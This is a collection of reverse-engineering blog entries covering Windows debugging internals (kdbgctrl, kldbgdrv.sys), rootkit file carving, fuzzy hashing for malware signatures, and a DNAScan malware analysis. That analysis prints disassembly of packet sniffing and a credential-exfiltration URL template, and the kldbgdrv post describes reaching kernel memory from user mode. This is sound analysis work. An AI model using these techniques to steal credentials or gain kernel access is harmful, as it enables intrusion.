All Blog Entries

  1. Dynamic Binary Code and Data Flow Analysis Instrumentation.

    by , July 30th, 2010 at 15:23 (BanMe.From.Native_Development)
    So I've been integrating Boomerang into Sin32 and I am releasing all future code under BSD and GPL licenses references therein.

    In doing this I dont want to use the GC stuff or the wierd LOG class provided to do the logging of all this important information that is gleaned out of this project, so a reimplementation of that is needed( all 367 or so calls that I commented out) as well as the reimplementation of the GUI..removing QT was fun.. But reworking the controller GUI to also view output of server..is primary goal. But as seen with my post in rekindled hope(maybe) I'm trying to probe for remote console allocation for output as well as input commands.

    For the Most Part I am done with getting it to compile correctly, now I have to make the code not examine 'Binary Files' and examine 'mapped Binary portions' which isnt anything 'really different' from what it does anyways, my method is just runtime based ...

    But I know the 'some' benefits from the inclusion of the marvelous little tool, but there is so much to be done..But I will give you the source and the first 'complete compiling project'.. This update is only running what has been released in the past for the 'LPC Server portion of this maybe with minor updates' expect a BIG update on that regard soon.

    heres a download link for sources
    http://www.filefactory.com/file/b2ca04f/n/SIN32.zip

    Updated July 30th, 2010 at 15:37 by BanMe

    Categories
    BanMe.From.Native_Development , Lpc Server Development
  2. [WinInternals] Reverse Engineering of kdbgctrl - How are builded Kernel Triage Dumps

    Hi,

    In this little blog post I'm going to reverse kdbgctrl.exe an handy tool delivered with Windows Debugging Tools kit (windbg package). This tool has the handy functionality to allow Kernel Triage Dumps building, also from a non /DEBUG bootted machine.

    As written before, from nynaeve, Triage Dump writing make able the kernel to create small dump files which contains the basical and usual informations of a Dump, like processes with associated threads and relative stacks.

    There is not many documentation about the usage of kdbgctrl, we have only a basical:
    kdbgctrl -td pid file

    Let's now see how internally works kdbgctrl.exe; why this?..curiosity and the potentiality to know which functions are used and became able to rewrite it, and also (as asked by some people) to show a subset of considerations that make you able to fastly and effectively reverse the functionality of an application.

    What we have is an application that takes two arguments, one of them is a filename, so after disassembling it we can immediately search for File Management Operations, like CreateFile and WriteFile, at this point we can trace back to the origins, locating the requestor and consecutively identify the functions that provide data dumped into file.

    Code:
    .text:0100340F loc_100340F:                            ; CODE XREF: sub_1003310+BF j
    .text:0100340F                 push    0               ; hTemplateFile
    .text:01003411                 push    80h             ; dwFlagsAndAttributes
    .text:01003416                 push    2               ; dwCreationDisposition
    .text:01003418                 push    0               ; lpSecurityAttributes
    .text:0100341A                 push    0               ; dwShareMode
    .text:0100341C                 push    40000000h       ; dwDesiredAccess
    .text:01003421                 mov     ecx, [ebp+lpFileName]
    .text:01003424                 push    ecx             ; lpFileName
    .text:01003425                 call    ds:CreateFileA
    the first line denotes a Cross Reference, so let's follow it:

    Code:
    .text:010033AE loc_10033AE:                            ; CODE XREF: sub_1003310+84 j
    .text:010033AE                 lea     eax, [ebp+nNumberOfBytesToWrite]
    .text:010033B1                 push    eax
    .text:010033B2                 mov     ecx, [ebp+dwSize]
    .text:010033B5                 push    ecx
    .text:010033B6                 mov     edx, [ebp+lpAddress]
    .text:010033B9                 push    edx
    .text:010033BA                 push    24h
    .text:010033BC                 lea     eax, [ebp+var_44]
    .text:010033BF                 push    eax
    .text:010033C0                 push    1Dh
    .text:010033C2                 call    ds:NtSystemDebugControl
    This is the heart of kdbgctrl algorithm, the Triage Dump is obtained by calling NtSystemDebugControl, we have now to uncover its parameters to be able to reproduce the code.
    Code:
    NtSystemDebugControl(
    IN SYSDBG_COMMAND Command,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength,
    OUT PULONG ReturnLength OPTIONAL );
    In our case SYSDBG_COMMAND has the value 1D, with a little research we can discover that this value belongs to SysDbgGetTriageDump, and immediately after the involved struct

    Code:
    typedef struct _SYSDBG_TRIAGE_DUMP
    {
        ULONG Flags;
        ULONG BugCheckCode;
        ULONG_PTR BugCheckParam1;
        ULONG_PTR BugCheckParam2;
        ULONG_PTR BugCheckParam3;
        ULONG_PTR BugCheckParam4;
        ULONG ProcessHandles;
        ULONG ThreadHandles;
        PHANDLE Handles;
    } SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP;
    Immediately before NtSystemDebugControl we meet:

    Code:
    .text:0100336C                 mov     [ebp+var_40], 69696969h
    .text:01003373                 mov     [ebp+dwSize], 400000h
    .text:0100337A                 push    4               ; flProtect
    .text:0100337C                 push    1000h           ; flAllocationType
    .text:01003381                 mov     edx, [ebp+dwSize]
    .text:01003384                 push    edx             ; dwSize
    .text:01003385                 push    0               ; lpAddress
    .text:01003387                 call    ds:VirtualAlloc
    69696969 belongs to the tipical BugCheck of Triage Dumps. A bit upper we have

    Code:
    .text:0100335D                 push    ecx
    .text:0100335E                 call    sub_1002EB0
    .text:01003363                 test    eax, eax
    .text:01003365                 jz      short loc_100336C ;Prosecute with Dumping Process
    .text:01003367                 jmp     loc_100357C    ;Jump Out
    Let's see what happens inside call sub_1002EB0

    Code:
     ..
    .text:01002EE3                 push    offset aDbgeng_dll ; "dbgeng.dll"
    .text:01002EE8                 call    ds:LoadLibraryA
    ..
    .text:01002F45                 push    offset aDebugcreate ; "DebugCreate"
    .text:01002F4A                 mov     edx, [ebp+arg_8]
    .text:01002F4D                 mov     eax, [edx]
    .text:01002F4F                 push    eax             ; hModule
    .text:01002F50                 call    ds:GetProcAddress
    The DebugCreate function creates a new client object and returns an interface pointer to it, the parameters passed to DebugCreate are the same as those passed to IUnknown::QueryInterface, and they are treated the same way.

    Code:
    .text:0100307A                 call    sub_1004D90
    .text:0100307F                 push    eax
    .text:01003080                 push    offset aAttachprocessF ; "AttachProcess failed, %s\n"
    .text:01003085                 call    ds:printf
    kdbgctrl attempts to a Debug Attach by using the pid inserted by user.

    Code:
    .text:010030BA                 call    sub_1004D90
    .text:010030BF                 push    eax
    .text:010030C0                 push    offset aWaitforeventFa ; "WaitForEvent failed, %s\n"
    .text:010030C5                 call    ds:printf
    and waits for events.

    Code:
    .text:010030FA                 call    sub_1004D90
    .text:010030FF                 push    eax
    .text:01003100                 push    offset aGetnumberthrea ; "GetNumberThreads failed, %s\n"
    .text:01003105                 call    ds:printf
    Retrieve the number of Threads, this value is necessary to define the limits of a cycle that will perform a per thread scan.

    Code:
    .text:010031AB                 call    sub_1004D90
    .text:010031B0                 push    eax
    .text:010031B1                 push    offset aGetthreadidsby ; "GetThreadIdsByIndex failed, %s\n"
    .text:010031B6                 call    ds:printf
    .text:010031BC                 add     esp, 8
    .text:010031BF                 jmp     loc_1003252
    GetThreadIdsByIndex belongs (Like GetNumberThreads) to the interface IDebugSystemObjects, the GetThreadIdsByIndex method returns the engine and system thread IDs for the specified threads in the current process.
    Code:
    .text:010031E8                 call    sub_1004D90
    .text:010031ED                 push    eax
    .text:010031EE                 push    offset aSetcurrentthre ; "SetCurrentThreadId failed, %s\n"
    .text:010031F3                 call    ds:printf
    .text:010031F9                 add     esp, 8
    .text:010031FC                 jmp     short loc_1003252
    The currently indexed thread, became the Current Thread, at this point we can know the thread handle, by calling GetCurrentThreadHandle.

    This enumeration routine provides all informations that will be stored into the Triage Dump.

    Should be now clear how is builded a Triage Dump, just an hint if you want to uncover other kdbgctrl functionalities, as you have seen the core function is NtSystemDebugControl, so easly list all xRefs of this function.

    See you to the next post..
    Giuseppe 'Evilcry' Bonfa
  3. The Future of Disassembling - Cloud OS

    Though I usually not writing blogs here at woodman,
    I decided to write one (who knows, maybe more), especially on what is going on today in the disassembly world.

    We all know the usual tools new/old reversers/engineers/developers use today, they are mainly IDA & OllyDbg. There are however more tools of course (Such as mine, beedisasm, windbg, softice (?) and many more...) that aids in the job for code understanding, analyzing and sometimes breaking.

    However, the latest efforts by major companies today leaves me (and maybe us) in a very puzzled state about the future of our tools. Google for example is pushing more and more their cloud operating system (Chrome OS) and the their underlying infrastructure: Android, into the wild.

    This brings me to think, will operating systems today be forced to move to cloud computing?! Will Windows (I very much doubt about *nix/linux), mac and others will give-in to consumer demand and will be forced to move in to the virtual world - where everything is Internet based? Tools such as Google Docs, Microsoft Docs..etc

    Sure, the internet is a nice idea to stream data, "secure" data, store data, retrieve data, but.. where does it leaves the RCE community ? The day that 90% of the "slaves" out there will use cloud OS is very near, and the death of PC as we knew might be near as well.

    Comparing latest years since we started tinkering with RCE (late +- 1997 (HCU Days) - present day) where PC pretty much dominated (against mac - though doesn't really matter) and the very few years (3-5) it took big companies to push Cloud OS into a full working model, I pretty much think RCE is going to have to adjust & mutate their tools!

    If mutation is needed, than I am pleased to tell that PVDasm is also going to battle this change !. PVDasm's engine has now been ported to native code (x86/x64) and can be loaded straight from a web-browser (Chrome build), where the user will be able to disassemble files/data from far away @ some cafe/airplane/mobile device. Just access to the web (where servers will hold the native package) and you're done.

    Watch a demo here: http://tinypic.com/r/ziul1h/6

    This is an early build, that shows dynamic disassembling of data straight from the browser, where execution is done using native plugins loaded at run-time by chrome.

    My guess is that regular OS of course will stay, however, Cloud OS will take over!

    - HTML5
    - JS engines (ie: V8)
    - Video/Audio (WebM / OGG/AAC)
    - Vector / Flash / Surface

    Those are all just a small drop in the ocean of what's coming next (or already came) and we can't deny that the future is here. So, Mutate you tools and adjust, because you never know what the future holds (or do we?)

    - Ben

    Updated May 22nd, 2010 at 19:01 by Bengaly

    Categories
    Disassembly
  4. Debugging the Debugger - Reversing kldbgdrv.sys and Potential Usages

    After various articles on malware analysis I decided to talk about a little different topic, due to the fact that I'm involved into Kernel Mode Coding the Windows Internals Research become a truly important aspect of my Research. As the title suggests, this time I'm going to Study and Reverse a particular component used by the Windows Debugging System, more precisely a Device Driver involved into Local Kernel Debugging.

    Not many people is aware that is possible to perform Local Kernel Debugging, one of the most used Debugging Configurations is the Remote Debugging. Local Kernel Debugging can offer many important vantages, like valuable informations on the Status of the Kernel and Inspect Kmode Components. LKD (Local Kernel Debugging) can be acheived by booting in Debug Mode, both kd and windbg fully supports LKD.

    The essential question now is, How the Debugging Engine, let's consider for example Windbg, is able to obtain informations about the kernel by running from usermode?

    The reply to this question not only will uncover the problem itself but also will open new interesting questions and possibilities, such as:

    #1 - "It's possible to develop an application that can use the same
    technology ?"

    #2 - "How to access the involved components and what are parameter to
    have access?"

    To begin the study of this problem, we have in first instance to reproduce the environement necessary to start a Local Debugging Session.

    I've used for these tests Windows 7 32-Bits Ultimate Edition and Windbg.

    First step is to enable debug mode by running:

    bcdedit -debug on then reboot.

    At this point we have literally to debug our debugger to be able to reveal the mechanism and component involved in communication between the Debug Engine and Kernel.

    In the past Windows Editions, the function used was NtSystemDebugControl, but from Windows Vista to Higher Versions this function is not immediately available.

    To trace windbg activities I've used a great tool for professional API Tracing, called Blade API Monitor.

    The hypothesis was, if windbg runs at usermode and accesses a kernel component it's obvious that will be used a Device Driver, by assuming true this statement, every application that deals directly with Device Drivers will use:

    * CreateFile -> For Driver Opening
    * ReadFile / WriteFile -> Device Driver Communication
    * DeviceIoControl -> Data exchange between Driver and umode application
    * NtSystemDebugControl


    After setting the proper filter for these functions, let's run a Local Kernel Debugging Session and watch the results from API Monitor.

    When debugger is loaded, we can launch some command, like:

    !drvobj
    !irpfind
    !isr

    From API Log emerges an important result, we have two threads:

    #- First Thread

    DeviceIoControl(...)
    DeviceIoControl(...)
    CreateFileW(wchar_t* lpFileName = C:\Windows\Fonts\staticcache.dat,...)

    #- Second Thread

    CreateFileW( wchar_t* lpFileName = C:\Windows\system32\kldbgdrv.sys )
    return value -> void* return = 0x00000128

    WriteFile(void* hFile = 0x00000128, .., unsigned long nNumberOfBytesToWrite = 0x000031F0 )

    CreateFileW(wchar_t* lpFileName = \\.\kldbgdrv)
    return value -> void* return = 0x00000170

    DeviceIoControl(void* hDevice = 0x00000170)
    IOCTL -> unsigned long dwIoControlCode = 0x0022C007
    As you can see, from the second thread we obtain a valuable amount of informations.

    WinDbg creates a driver called kldbgdrv.sys placed in %\system32\ this file is 0x31F0 long.

    Successively this driver is openened and windbg starts to send IOCTL to this driver.

    The IO Control Code used is 0x0022C007.

    When debugging session finishes, kldbgdrv.sys it's deleted.

    To reverse this driver we have obviously to dump it, so the first operation is to locate where is placed and successively carve out this.

    The most probable location where can be located are the resources of windbg or kd executables, so let's explore their PE.

    Between resources of windbg.exe we can see that the last one called "17476" which contains another subdir called "30583" by opening also this last directory finally appears our wldbgdrv.sys (can be easly detected by watching between strings)

    From the starting address of this resource if we add the len of bytes ( nNumberOfBytesToWrite = 0x000031F0) we can easly into a new file kldbgdrv.sys

    Now let's reverse this driver.

    INIT:00010D1F push offset aKdsystemdebugc ; "KdSystemDebugControl"
    INIT:00010D24 lea eax, [ebp+DestinationString]
    INIT:00010D27 push eax ; DestinationString
    INIT:00010D28 call ds:RtlInitUnicodeString
    INIT:00010D2E lea ecx, [ebp+DestinationString]
    INIT:00010D31 push ecx ; SystemRoutineName
    INIT:00010D32 call ds:MmGetSystemRoutineAddress
    INIT:00010D38 mov [ebp+var_1C], eax
    INIT:00010D3B cmp [ebp+var_1C], 0
    INIT:00010D3F jnz short loc_10D4B
    INIT:00010D41 mov eax, STATUS_PROCEDURE_NOT_FOUND
    INIT:00010D46 jmp loc_10DF5

    this is a really interesting piece of code, here the driver attempts to obtain the Routine Address of the function KdSystemDebugControl()

    INIT:00010D4B mov edx, [ebp+DriverObject]
    INIT:00010D4E mov dword ptr [edx+34h], offset sub_10A10 ;DriverUnload
    INIT:00010D55 mov eax, [ebp+DriverObject]
    INIT:00010D58 mov dword ptr [eax+38h], offset sub_10A50 ;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50
    INIT:00010D5F mov ecx, [ebp+DriverObject]
    INIT:00010D62 mov dword ptr [ecx+40h], offset sub_10A50 ;DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50
    INIT:00010D69 mov edx, [ebp+DriverObject]
    INIT:00010D6C mov dword ptr [edx+70h], offset sub_10A80 ;DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_10A80
    INIT:00010D73 push offset aDeviceKldbgdrv ; "\\Device\\kldbgdrv"
    INIT:00010D78 lea eax, [ebp+DeviceName]
    INIT:00010D7B push eax ; DestinationString
    INIT:00010D7C call ds:RtlInitUnicodeString
    ..
    INIT:00010D96 call ds:IoCreateDevice

    Here the device it's created \\Device\\kldbgdrv and

    There are also four MajorFunctions associations:

    DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_10A10;
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_10A50; // IofCompleteRequest(Irp, 0)
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_10A50; // IofCompleteRequest(Irp, 0)
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_10A80; // Suddenly Reversed
    Let's check the latest Dispatch Routine:

    PAGE:00010AEE push edx
    PAGE:00010AEF push eax ; PrivilegeValue
    PAGE:00010AF0 call ds:SeSinglePrivilegeCheck
    PAGE:00010AF6 movzx ecx, al
    PAGE:00010AF9 test ecx, ecx
    PAGE:00010AFB jnz short loc_10B09
    PAGE:00010AFD mov [ebp+var_3C], STATUS_ACCESS_DENIED
    PAGE:00010B04 jmp loc_10C5B
    PAGE:00010B09 mov [ebp+var_4], 0
    PAGE:00010B10 mov edx, [ebp+var_30]
    PAGE:00010B13 mov [ebp+var_48], edx
    PAGE:00010B16 cmp [ebp+var_48], 22C007h ; IOCTL = 22C007h
    PAGE:00010B1D jz short loc_10B24
    PAGE:00010B1F jmp loc_10C2B


    When the IOCTL = 22C007h it's sent the first operation is to check if the action has the proper privileges "SeSinglePrivilegeCheck", successively this dispatch routine validates and sanitizes parameters sent with the IOCTL, by using MmUserProbeAddress and ProbeForWrite.

    Finally we can say that kldbgdrv.sys works as wrapper for KdSystemDebugControl.

    This function belongs to NtSystemDebugControl but can be accessed only at kernel mode.

    Here it's prototipe:

    NTSTATUS
    NTAPI
    KdSystemDebugControl(
    SYSDBG_COMMAND Command,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength,
    PULONG ReturnLength,
    KPROCESSOR_MODE PreviousMode
    );
    _SYSDBG_COMMAND it's an enum, let's suppose we want SysDbgReadVirtual we have the corresponding struct:

    typedef struct _SYSDBG_VIRTUAL
    {
    PVOID Address;
    PVOID Buffer;
    ULONG Request;
    } SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;
    At this point we have all elements to use with success kldbgdrv.sys, that means the possibility to have access to the kernel ...
  5. A Filemaker Story

    once upon a time, i saw a request for filemaker target. so, i took my time to familiar myself with it (as normal user), as it was the first time i ever heard about it.

    one thing that appeal to me that time, was, it's capability to produce a so called runtime application, or in their term, a filemaker solution, by means of developer tool menu at filemaker pro.

    so, like a noob, i tried to break at msgbox error, to see where things go. but after sometime, i failed to got one, and i dropped it. it took a while since i didn't really have much free time, to get back into it. and this time, i start with none but with winhex (no debugging at all), collecting any information i can get about this filemaker.

    i was thinking as a real noob. so, this is a database application. see, let say i made a table and put a 'name' field as text, and type some text in, to see where it goes in the file. alas, i can't find that text i typed in, in the file that just created. so, i assume there is somekind of encryption involved.

    there is a bit pre-assumption i made. this is a database, so, it will hold a massive size of data. so since it'll involve a huge data read/write, as a programmer, i'd use something fast. block cipher speed is fairly good, but i didn't see any reason why it should be used for entire table fields.

    so, i made 2 file, with palindrom texts to test it, i.e. text in file1 : "abcd", text in file2 : "dcba". scan the diff with winhex, and found that there were actually some strange bytes forming palindrom sequence. it is actually a bit long to notice that. but it was that time, i found that Examdiff ease my job excelently. so, right now, when i need to compare things, i use it. winhex compare routine is dumb.

    at first, i thought it was a subtitution cipher. but as i revisit my preassumption, it can't be true. subtitution can really take a long delay, so it won't be suitable. a simple xor maybe? and then i test it, IT IS!! (i was a bit glad).

    so, now i know how the texts 'encoded' in the file, what next?
    let see how things managed inside the binary file. i opened it up with winhex, and letting my eyes stared at it, again and again. to ease seeing things, i set 2 window in winhex, one opened it normally, and one opened it and xored (so i can see texts clearly).

    the first one i noticed, was, the file content somehow managed for every 1000h bytes (later i found it called a 'page' in filemaker term). and it was interest me that in the beginning of each page, there are some bytes showed some small number. i took a note for every pages in the file, and made an assume, that it was a linked list struct numbers. so, i take my time to observe some another filemaker file, and i thought, it's true.

    i also took advantage of recover menu from filemaker pro, to recover a dummy file, just to see the recover log. there are some usefull information i got there. well, i learned 'page' term from there

    so what else?

    well, at the time i found that it was a linked list, i was thrilled enough to continue exploring the binary further... so, i don't really want to spoil anything here, but i'd rather let the reader to do their homework
    Categories
    Uncategorized
  6. My first month at Hex-Rays

    It is not a technical post, but I think I should put it here, because after all I read the Hex-Rays hiring announcement on the blogs of this forum.

    At the beginning of September I started looking for a job. I actually wanted a job to work from remote. Despite the fact that I got several offers, all of them required relocation. So in the end I saw the Hex-Rays hiring announcement on Woodmann and sent out my résumé. From all the relocations, Belgium was the nearest and best connected one and of course it's a very good job.

    The first month at Hex-Rays has been tough on all fronts. Mainly because of the relocation and getting used to work in an office. Now work is proceeding well, but the rest is still difficult. Having one day of sun here in Belgium would help, by the way.

    Musil wrote in his life's work that modern man is spending his life always increasing his level of expertise, remaining with a millimeter of specialistic knowledge which only few people in the world could really understand. The others, talking about his millimeter would only say stupid things and he himself can't move from his own millimeter without running into the same problem.
    I think I found my millimeter in the IT world. However, I can't stand still on it. I always keep moving with exasperated restlessness.

    I have written in the last 2 years at least 5 programs of bigger size which are almost complete, but as I'm now working at Hex-Rays they will have to wait. When I was writing mostly software on my own I did it almost entirely to be active in something. Now that I'm working on IDA every day I feel that my need of being active is fulfilled and I don't feel the need to write more code when I'm at home. Instead, I feel the need of art.

    Why haven't I tried producing art instead of programming already? Because I have always been capable of judging my own work objectively and I know when the time is not right.

    What's the difference between programming and art? Both need experience. The difference is that one can build one's technical experience alone in one's room, without the help of events, social interaction, etc. In a technical field it is possible to make the time needed for experience advance faster. Viceversa, in one's reflections about life one has to actually follow the time of his own life.

    I feel that something is changing about that.
    Categories
    Uncategorized
  7. Rootkit Agent.adah Anatomy and Executables Carving via Cryptoanalytical Approach

    Today I'm going to expose how to perform the preliminar analysis of a Rootkit Application both via the classical Reverse Engineering approach and Crytpanalysis one.

    We will inspect a recent threat commonly detected as Rootkit Agent.adah, this rootkit is delivered in the usual form of executable (.exe) via Compromised or Malicious Websites.

    Usually the main executable is delivered in packed/compressed form and presents other executables embedded as resources, in other cases we can have blocks of encrypted data that will be decrypted on fly by the main executable.


    In the first step we are going to see how is structured the executable. CFF reveals us that the application is packed with UPX v3.0;

    Due to the nature of UPX, that is essentially a compressor, we will see a pattern almost constant, stabilized at high levels of entropy. Here a graph plot



    As should be evident, the internal structure and presence of embedded data is protected cause the constancy of the Entropy along the executable. In other words in this case the contribution from knowledge of entropy does not help us to have additional information. We have to perform more specific inspections, this time by using Floating Frequency Analysis.


    Let's spend some word about what mean Floating Frequency..

    The floating frequency of a document is a characteristic of its local information content at individual points in the document. The floating frequency specifies how many different characters are to be found in any given 64-character long segment of the document. The function considers sequences of text in the active window that are 64 characters long and counts how many different characters are to be found in this "window". The "window" is then shifted one character to the right and the calculation is repeated. This procedure results in a summary of the document in which it is possible to identify the places with high and low information density. A document of length n > 64 bytes has n-63 such index numbers in its characteristics.

    This is how work, implicitly should be clear enough how to interpret a Floating Frequency Graph,
    high values which deviate markedly from the background in an executable suggest that encrypted data or even cryptographic keys will be found in those places.

    Let's inspect the first graph:



    As you can see, with floating frequency we are now able to distinguish the PE Header that presents a low Differences Ratio, suddenly after the PE Header we can see UPX at work, plot is constant and uniform, near the end happens an interesting thing, a marked decrease of frequency that remains stable and uniform for a certain offset range, at the end of this isolated behaviour we register another abrupt decrease, this is the end of PE and obviously of the file.

    The isolated behaviour is truly interesting, the offset of this 'object' is placed in .rsrc section and presents a strong entropy due the evident density of Floating Freq. plot. A good compression algo introduces a significative increase of entropy, but if the block has already an high entropy this increase obviously cannot happen.We may think that the resource is compressed/encrypted. For example we could have another packed exectable.

    After this preliminary inspection we unpack the main malicious executable and inspect in the same way the unpacked one.

    Here the Entropy Plot of unpacked sample:



    As you can the, now the situation is different, emerges the evidence of PE Header, after a normal ammount of entropy, globally lower that the previous graph, a central drop caused by Zero Padding for PE Alignment, sucessively an increase long a defined amount of bytes (a block) and suddenly after an evident increase of entropy that reaches the RED Level. This mean that our previous observations on floating frequency plot was correct, here the 'object' that certainly is packed/compressed. Finally we have a classical slow down caused by the intrinsic structure of PE Format.

    Again let's perform the Floating Frequency inspection of the unpacked executable, here how changes the graph:



    Again Floating Frequency reveals us more details, or better (in this case) highlights better the structure of the whole executable plus the conformations of the two objects. If you pay attention to the first one, you can see that this corpse is truly similar to the global look of the unpacked executable, in other words we can state that the first object is effectively another merged executable!
    The second one is certainly a compressed object, the reason is clear just lookup the previous explaintions.

    Now let's see practically the whole body of our unpacked executable, from a classical Reverse Engineering point of view. We said that the two objects are placed into .rsrc section, let's look with Great CFF (I love this Tool ) if this is true.

    Bang! correct, the two merged resources are definitely two executables!
    The first one is a clean .sys, this is clear due to the presence of INIT in the PE Header.
    Also the second resource corresponds to our predictions, we have an UPX packed executable.

    Now should be trivial to carve these two executables, just locate the starting offset and by delimiting with Block Start/End function of CFF we obtain the executable size that added to the starting offset give us the final offset where to cut.

    The Block End corresponds obviously with the end of first/second resource.

    The .sys is the core file of our rootkit, I'll reverse it in a future post, the second executable, when unpacked become clear that is a DLL, if we take a look to some function name for exampe this:

    _NF_STATUS __cdecl nf_addRule(struct _NF_RULE *)

    became clear that this DLL acts as Network Filter by using NetFilterSDK ( http://netfiltersdk.com/ )

    But this is matter of future blog post.

    Hope you enjoyed this little paper

    Giuseppe 'Evilcry' Bonfa'

    Updated January 30th, 2010 at 09:17 by evilcry

    Categories
    Uncategorized
  8. Advanced Signature Writing via FuzzyHashing

    Hi there,

    In this period I'm heavy working on Signature Generation for big malware families, this mean that there is a large amount of binaries to be checked for Static Patterns recurrences, you should understand that this work can't be done by hand on families of 400+k number of samples, and hashing would not help, this because Hash Algorithms respects the Avalanche Effect via its most famous generalization the SAC ( Strict Avalanche Criterion ), this mean that, this property it is satisfied if, whenever a single input bit is complemented, each of the output bits changes with a probability of one half.

    In other words a minimum little change will deeply change the hash result and we can't come back to similarities, so we need a technology that does not respect the SAC, also in this case the wonderful cryptography help us

    We have the CTPH that mean Context Triggered Piecewise Hashes, called also Fuzzy Hashes, this will help us to match inputs that have homologies like sequences of identical bytes in the same order.

    Here an interesting paper about CTPH Identifying almost identical files using context triggered piecewise hashing

    http://dfrws.org/2006/proceedings/12-Kornblum.pdf

    and here an open source implementation of fuzzyhashing called DeepToad

    http://code.google.com/p/deeptoad/

    Regards,
    Giuseppe 'Evilcry' Bonfa
  9. DNAScan Malicious Network Activity Reverse Engineering

    Hi,

    This is a paper splitted into two episodes, the first two can be readed here

    First
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser.html
    Second
    http://evilcodecave.blogspot.com/2009/11/dnascan-malware-analysis-from-browser_15.html

    Here the Third Part.

    In this blog post we will investigate deeply the effective functionalities of DNAScan,
    that can be seen as a set of Threads that accomplish different networking functionalities like:

    • * Server Functionalities
    • * Client Functionalities
    • * Malicious File Exchange
    • * Generic Backdoor




    Let's start from the beginning of network functionalities setup, initially from the main thread is called WSAStartup used to initiate the Winsock DLL, successively is called a classical socket() and immediately after WSAIoctl


    Code:
    0040A0EE PUSH 2600
    0040A0F3 PUSH EAX
    0040A0F4 PUSH EBX
    0040A0F5 PUSH EBX
    0040A0F6 PUSH 4004747F
    0040A0FB PUSH ESI
    0040A0FC CALL DWORD PTR DS:[41526C];WSAIoctl

    The WSAIoctl function controls the mode of a socket, works like DeviceIoControl so we have a suite of IO Control Codes, in our case the Control Code is 4004747F that corresponds to SIO_GET_INTERFACE_LIST

    Returns a list of configured IP interfaces and their parameters as an array of INTERFACE_INFO structures. After setting socket options and binding we have another WSAIoctl this time with code 98000001 in this way the socket normal working parameters are modified, indeed 98000001 corresponds to SIO_RVALL that enables a socket to receive all IP packets on the network, to use this application need to be in RAW mode using IP protocol and bound to a specific local adapter. Finished this the first thread is created:

    Code:
    0040A089 PUSH EAX
    0040A08A PUSH ESI
    0040A08B PUSH EDI
    0040A08C PUSH OFFSET srcdll.00409FCD; Look here to know what thread does
    0040A091 PUSH ESI
    0040A092 PUSH ESI
    0040A093 CALL DWORD PTR DS:[415130]

    after opening this thread the first socket is closed. Now the next important function called is SHGetFolderPath witch sets as folders \user\cookies, finally execution jumps to a secondary thread that contains a recvfrom

    Code:
    00409F89 PUSH EDI
    00409F8A PUSH EDI
    00409F8B PUSH EDI
    00409F8C PUSH 4000
    00409F91 PUSH ESI
    00409F92 PUSH DWORD PTR SS:[EBP+8]
    00409F95 CALL DWORD PTR DS:[415268];recvfrom

    by watching the buffer out (second parameter) we can see what arrives to DNAScan

    001644B8 E..a......=
    001644D8 .... EFFGEJEMEDFCFJCNDFDGE
    001644F8 CDFDIEEDIAA. FHEPFCELEHFCEPFFFAC
    00164518 ACACACACACABN.SMB%.............
    00164538 ............................
    00164558 ......V......\MAILSLOT\BRO
    00164578 WSE...........................

    this recvfrom is repeated until certain conditions that depends from watch application receives,
    under certain conditions sento from server reacts. After setting this is builded another thread that makes use of a classical server architecture

    • * Socket
    • * Listen
    • * Accept

    Next networking operation is the Pipe building

    Code:
    00407DCF PUSH 0
    00407DD1 PUSH 0
    00407DD3 PUSH 400
    00407DD8 PUSH 400
    00407DDD PUSH 0FF
    00407DE2 PUSH 0
    00407DE4 PUSH 3
    00407DE6 PUSH OFFSET srcdll.004025B4; ASCII "\\.\pipe\ie_down_pipe"
    00407DEB CALL; Jump to kernel32.CreateNamedPipeA
    00407DF0 CMP EAX,-1
    00407DF3 JNE SHORT 00407DF7
    00407DF5 JMP SHORT 00407E58
    00407DF7 MOV DWORD PTR SS:[EBP-4],EAX
    00407DFA MOV DWORD PTR SS:[EBP-8],0
    00407E01 PUSH 0
    00407E03 PUSH DWORD PTR SS:[EBP-4]
    00407E06 CALL; Jump to kernel32.ConnectNamedPipe
    This creates a named pipe \\.\pipe\ie_down_pipe and successively Enables a named pipe server process to wait for a client process to connect to an instance of a named pipe.

    At this point is assembled the following string

    00401620 http://%s%s?user_id=%.4u&version_id=%s&passphrase=%s&socks=%lu&v
    00401660 ersion=%lu&crc=%.8x.URL: sniffer_ftp_%s..ftp_server=%s&ftp_login
    004016A0 =%s&ftp_pass=%s&version=%lu.URL: sniffer_pop3_%s..pop3_server=%s
    004016E0 &pop3_login=%s&ftp_pass=%s.URL: sniffer_imap_%s..imap_server=%s
    00401720 &imap_login=%s&imap_pass=%s.URL: sniffer_icq_%s..icq_user=%s&icq
    00401760 _pass=%s.SharedAccess.wscsvc.=.GET_COOK.VER.EXE.DL.DL_EXE.DL_EXE
    004017A0 _ST.REBOOT.\%lu.exe./upd %lu
    as you can see there are a couple of interesting strings like

    • * ftp_pass=%s
    • * imap_pass=%s
    • * sniffer_pop3_%s
    • * sniffer_icq_%s


    Code:
    0040587D PUSH EAX
    0040587E PUSH DWORD PTR SS:[EBP-4];take a look here
    00405881 PUSH 0
    00405883 CALL; Jump to wininet.FindFirstUrlCacheEntryA

    this api enumerates the Internet cache, to see what comes out just watch the second parameter

    Code:
    0040588F MOV EAX,DWORD PTR SS:[EBP-4]
    00405892 MOV ECX,DWORD PTR DS:[EAX+4]
    00405895 PUSH ECX
    00405896 PUSH DWORD PTR SS:[EBP+8]
    00405899 PUSH ECX
    0040589A CALL; Jump to shlwapi.StrStrIA
    0040589F POP ECX
    004058A0 OR EAX,EAX
    004058A2 JE SHORT 004058AA
    004058A4 PUSH ECX
    004058A5 CALL; Jump to wininet.DeleteUrlCacheEntry
    004058AA MOV DWORD PTR SS:[EBP-8],1000
    004058B1 LEA EAX,[EBP-8]
